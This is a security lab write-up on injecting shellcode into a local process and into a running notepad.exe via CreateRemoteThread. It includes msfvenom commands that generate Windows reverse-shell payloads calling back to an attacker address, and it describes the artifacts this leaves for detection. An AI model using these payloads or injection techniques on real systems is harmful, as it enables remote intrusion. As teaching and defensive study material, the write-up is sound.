CreateRemoteThread Shellcode Injection
Injecting shellcode into a local process.
This lab explores some classic ways of injecting shellcode into a process memory and executing it.
Executing Shellcode in Local Process
First of - a simple test of how to execute the shellcode directly from a C++ program.
Generating shellcode for a reverse shell:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.5 LPORT=443 -f c -b \x00\x0a\x0d
C++ code to injectd and invoke the shellcode:
Before compiling, for the sake of curiosity, let's have a look at the generated shellcode binary in a disassembler so we can get a rough idea of how our C++ code gets translated into machine code for x64:
Also for the sake of curiosity, I wanted to see how the injected shellcode looks in the injected process and to see where it actually is. With a 32-bit shellcode binary (msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=443 -f c -b \x00\x0a\x0d), the shellcode is nicely located in the main thread's stack:
Back to the x64 bit shellcode - compiling and executing the binary gives us the anticipated reverse shell:
Executing Shellcode in Remote Process
The below code will inject the shellcode into a notepad.exe process with PID 5428 which will initiate a reverse shell back to the attacker:
Below shows notepad before shellcode injection - it has not initiated any TCP connections yet:
Once the code is compiled and executed, monitoring the API calls taking place on the system reveals that notepad is doing something it should not ever be doing - spawning a cmd.exe and initiating a TCP connection:
Checking the notepad in ProcExplorer again reveals an established TCP connection with a cmd.exe as a child:
Note how the notepad has a ws2_32.dll module loaded which should never happen in normal circumstances, since that module is responsible for sockets management:
References
Last updated
Was this helpful?